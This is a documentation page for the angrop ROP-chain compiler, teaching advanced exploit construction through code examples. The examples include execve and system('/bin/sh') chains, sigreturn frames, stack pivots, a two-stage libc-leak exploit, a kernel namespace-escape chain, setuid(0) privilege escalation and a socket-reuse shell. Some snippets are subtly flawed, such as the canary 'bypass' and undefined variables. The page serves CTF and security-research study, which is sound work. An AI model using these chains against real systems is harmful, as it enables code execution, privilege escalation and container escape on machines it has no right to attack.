Documentation Index
Fetch the complete documentation index at: https://mintlify.com/angr/angrop/llms.txt
Use this file to discover all available pages before exploring further.
This guide covers advanced ROP chain composition techniques including register preservation, sigreturn frames, memory writes combined with function calls, and complex multi-stage exploits.
Register Preservation
When building complex chains, you often need to set up multiple registers without clobbering values you’ve already set.
Basic Register Preservation
import angr
import angrop
proj = angr.Project("/bin/bash")
rop = proj.analyses.ROP()
rop.find_gadgets()
# Set rdi, then set rsi while preserving rdi
chain = (
rop.set_regs(rdi=0x1337) +
rop.set_regs(rsi=0x4141, preserve_regs={'rdi'})
)
chain.pp()
Preserving Multiple Registers
# Set up three registers, preserving previous values
chain = (
rop.set_regs(rdi=0xdeadbeef) +
rop.set_regs(rsi=0xcafebabe, preserve_regs={'rdi'}) +
rop.set_regs(rdx=0x1337, preserve_regs={'rdi', 'rsi'})
)
Function Calls with Register Preservation
From the Python API docs and real examples:
# Preserve rdi when calling a function
chain = rop.func_call(
"prepare_kernel_cred",
(0x41414141, 0x42424242),
preserve_regs={'rdi'}
)
chain.pp()
Output:
0xffffffff81489752: pop rsi; ret
0x42424242
0xffffffff8114d660: <prepare_kernel_cred>
<BV64 next_pc_4280_64>
Note: When you specify preserve_regs={'rdi'}, angrop will:
- Ignore the first argument (
0x41414141) since rdi is preserved
- Only set registers that are not in the preserve set
- Keep the existing value in rdi intact
Real-World Example: Kernel Chain
From examples/linux_escape_chain/solve.py:38-44:
chain = (
rop.func_call("commit_creds", [init_cred]) +
rop.func_call("find_task_by_vpid", [1]) +
rop.move_regs(rdi='rax') +
rop.set_regs(rsi=init_nsproxy, preserve_regs={'rdi'}) +
rop.func_call("switch_task_namespaces", [], preserve_regs={'rdi', 'rsi'}) +
rop.func_call('__x64_sys_fork', []) +
rop.func_call('msleep', [0xffffffff])
)
Why preserve_regs matters here:
move_regs(rdi='rax') puts the task_struct pointer in rdi
set_regs(rsi=init_nsproxy, preserve_regs={'rdi'}) sets rsi without destroying rdi
func_call("switch_task_namespaces", [], preserve_regs={'rdi', 'rsi'}) keeps both arguments
Sigreturn (SROP) Chains
Signal return frames let you set all registers at once, including RIP and RSP.
Basic Sigreturn
import angr
import angrop
proj = angr.Project("/bin/target")
rop = proj.analyses.ROP()
rop.find_gadgets()
# Set rip/rsp and registers via sigreturn frame
chain = rop.sigreturn(
rip=0x401000,
rsp=0x7fffffffe000,
rax=59, # __NR_execve
rdi=0x41414141
)
chain.pp()
Sigreturn for Syscalls
From docs/pythonapi.md:61-62:
# Automatically set registers for a syscall
chain = rop.sigreturn_syscall(
0x3b, # syscall number (execve)
[next(elf.search(b"/bin/sh\x00")), 0, 0], # args
sp=0x401234
)
When to Use Sigreturn
Use SROP when:
- You have very few gadgets available
- You need to set many registers at once
- You want to control both code and stack pointers
- You have a
sigreturn gadget (or syscall 15 on x86_64)
Typical pattern:
# 1. Write "/bin/sh" to known location
# 2. Use sigreturn to:
# - Set rax = 59 (execve)
# - Set rdi = pointer to "/bin/sh"
# - Set rsi = 0, rdx = 0
# - Set rip = syscall gadget
chain = (
rop.write_to_mem(0x61b100, b"/bin/sh\x00") +
rop.sigreturn(
rax=59,
rdi=0x61b100,
rsi=0,
rdx=0,
rip=syscall_gadget_addr,
rsp=0x7fffffffe000
)
)
Memory Write + Function Call Chains
Complex exploits often require writing data to memory before calling functions.
Write String Then Call Function
From docs/pythonapi.md:45-46, 77:
import os
import angr
import angrop
proj = angr.Project("/bin/target")
rop = proj.analyses.ROP()
rop.find_gadgets()
# Write "/home/ctf/flag" then call open()
chain = (
rop.write_to_mem(0x61b100, b"/home/ctf/flag\x00") +
rop.func_call("open", [0x61b100, os.O_RDONLY])
)
Complete File Read Chain
import os
buf_addr = 0x61b100
flag_path_addr = buf_addr
read_buf_addr = buf_addr + 0x100
chain = (
# Write path string
rop.write_to_mem(flag_path_addr, b"/home/ctf/flag\x00") +
# open("/home/ctf/flag", O_RDONLY)
rop.func_call("open", [flag_path_addr, os.O_RDONLY]) +
# fd is now in rax, move to rdi for read()
rop.move_regs(rdi='rax') +
# read(fd, read_buf_addr, 0x100)
rop.set_regs(rsi=read_buf_addr, rdx=0x100, preserve_regs={'rdi'}) +
rop.func_call("read", [], preserve_regs={'rdi', 'rsi', 'rdx'}) +
# write(1, read_buf_addr, 0x100)
rop.func_call("write", [1, read_buf_addr, 0x100])
)
chain.pp()
Memory Manipulation Chains
Memory Arithmetic Operations
From docs/pythonapi.md:39-42:
# Add to memory
chain = rop.mem_add(0x804f124, 0x41414141)
# XOR memory
chain = rop.mem_xor(0x804f124, 0x41414141)
# OR memory
chain = rop.mem_or(0x804f124, 0x41414141)
# AND memory
chain = rop.mem_and(0x804f124, 0x41414141)
Practical Use: Bypassing Canary
import angr
import angrop
proj = angr.Project("/bin/target")
rop = proj.analyses.ROP()
rop.find_gadgets()
# Assume you leaked canary value
leaked_canary = 0x1234567890abcdef
canary_location = 0x7fffffffdf08
# XOR the canary location with itself to zero it
chain = (
rop.mem_xor(canary_location, leaked_canary) +
# Now canary is 0x0000000000000000
# Continue with exploit...
rop.func_call("system", [next(elf.search(b"/bin/sh"))])
)
Register Movement Patterns
Moving Return Values
# Pattern: function returns in rax, next function needs it in rdi
chain = (
rop.func_call("getuid", []) +
rop.move_regs(rdi='rax') + # Move rax -> rdi
rop.func_call("setuid", [], preserve_regs={'rdi'})
)
Complex Register Shuffling
# Swap register values
chain = (
# Save rdi to rax
rop.move_regs(rax='rdi') +
# Move rsi to rdi
rop.move_regs(rdi='rsi') +
# Move saved rax to rsi
rop.move_regs(rsi='rax')
)
Stack Pivoting
Pivot to Controlled Region
From docs/pythonapi.md:49-50:
# Pivot stack to register value
chain = rop.pivot('rax')
# Or pivot to specific address
chain = rop.pivot(0x41414140)
Complete Pivot Example
import angr
import angrop
proj = angr.Project("/bin/target")
rop = proj.analyses.ROP()
rop.find_gadgets()
# Assume you control a buffer at 0x41414000
controlled_buf = 0x41414000
# Stage 1: Pivot to controlled buffer
stage1 = rop.pivot(controlled_buf)
# Stage 2: Build actual exploit chain
stage2 = (
rop.write_to_mem(0x61b100, b"/bin/sh\x00") +
rop.func_call("system", [0x61b100])
)
# Place stage2 at the controlled buffer
# Then use stage1 to pivot there
payload = b"A" * offset + stage1.payload_str()
payload += b"\x00" * (controlled_buf - len(payload))
payload += stage2.payload_str()
Syscall Chains
Direct Syscall Invocation
From docs/pythonapi.md:56:
# invoke syscall with arguments
chain = rop.do_syscall(
0, # syscall number (read)
[0, 0x41414141, 0x100], # args: fd, buf, count
needs_return=False
)
execve() via Syscall
import angr
import angrop
proj = angr.Project("/bin/target")
rop = proj.analyses.ROP()
rop.find_gadgets()
# Method 1: Use built-in execve()
chain = rop.execve()
# Method 2: Manual syscall
bin_sh_addr = 0x61b100
chain = (
rop.write_to_mem(bin_sh_addr, b"/bin/sh\x00") +
rop.do_syscall(
59, # __NR_execve
[bin_sh_addr, 0, 0], # path, argv, envp
needs_return=False
)
)
Advanced Chain Techniques
Ret Sled
From docs/pythonapi.md:69-70:
# Generate ret-sled (works for ARM/MIPS too)
chain = rop.retsled(0x40)
Use cases:
- Align stack before calling functions
- Delay execution for timing attacks
- Pad chain to avoid detection
Stack Shifting
From docs/pythonapi.md:67:
# Shift stack pointer: add rsp, 0x8; ret
# This gadget shifts rsp by 0x10 total (0x8 + 0x8 for ret)
chain = rop.shift(0x10)
Badbyte Avoidance
From docs/pythonapi.md:72-74:
# Set badbytes before building chains
rop.set_badbytes([0x0, 0x0a, 0x0d])
# All chains will avoid these bytes
chain = rop.set_regs(eax=0)
Multi-Stage Exploit Example
import os
import angr
import angrop
proj = angr.Project("/bin/target")
rop = proj.analyses.ROP()
rop.find_gadgets()
# Stage 1: Leak libc
stage1 = (
rop.func_call("puts", [elf.got['puts']]) +
rop.func_call("main", []) # Return to main
)
# Stage 2: After leak, calculate addresses
# (This happens at runtime in your exploit script)
libc_base = leaked_puts - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
# Stage 2: Call system("/bin/sh")
stage2 = rop.func_call(system_addr, [bin_sh_addr])
# Build final payload
payload1 = b"A" * offset + stage1.payload_str()
# ... send payload1, receive leak ...
payload2 = b"A" * offset + stage2.payload_str()
# ... send payload2, get shell ...
Debugging Complex Chains
chain = (
rop.write_to_mem(0x61b100, b"/bin/sh\x00") +
rop.func_call("system", [0x61b100])
)
# View the chain structure
chain.pp()
Generate Python Code
From docs/pythonapi.md:80-87:
chain.print_payload_code()
Output:
chain = b""
chain += p64(0x410b23) # pop rax; ret
chain += p64(0x74632f656d6f682f)
chain += p64(0x404dc0) # pop rbx; ret
chain += p64(0x61b0f8)
chain += p64(0x40ab63) # mov qword ptr [rbx + 8], rax; add rsp, 0x10; pop rbx; ret
...
Validate Chain Length
chain = rop.set_regs(rdi=0x1337, rsi=0x4141, rdx=0x100)
print(f"Chain length: {len(chain.payload_str())} bytes")
print(f"Number of gadgets: {len(chain._values)}")
Common Patterns
Pattern: Open-Read-Write
chain = (
rop.write_to_mem(buf, b"flag.txt\x00") +
rop.func_call("open", [buf, 0]) +
rop.move_regs(rdi='rax') +
rop.set_regs(rsi=buf+0x100, rdx=0x100, preserve_regs={'rdi'}) +
rop.func_call("read", [], preserve_regs={'rdi', 'rsi', 'rdx'}) +
rop.func_call("write", [1, buf+0x100, 0x100])
)
Pattern: Privilege Escalation
chain = (
rop.func_call("setuid", [0]) +
rop.func_call("setgid", [0]) +
rop.func_call("system", [bin_sh_addr])
)
Pattern: Socket Reuse
# Redirect stdin/stdout/stderr to socket fd 4
chain = (
rop.func_call("dup2", [4, 0]) +
rop.func_call("dup2", [4, 1]) +
rop.func_call("dup2", [4, 2]) +
rop.func_call("execve", [bin_sh_addr, 0, 0])
)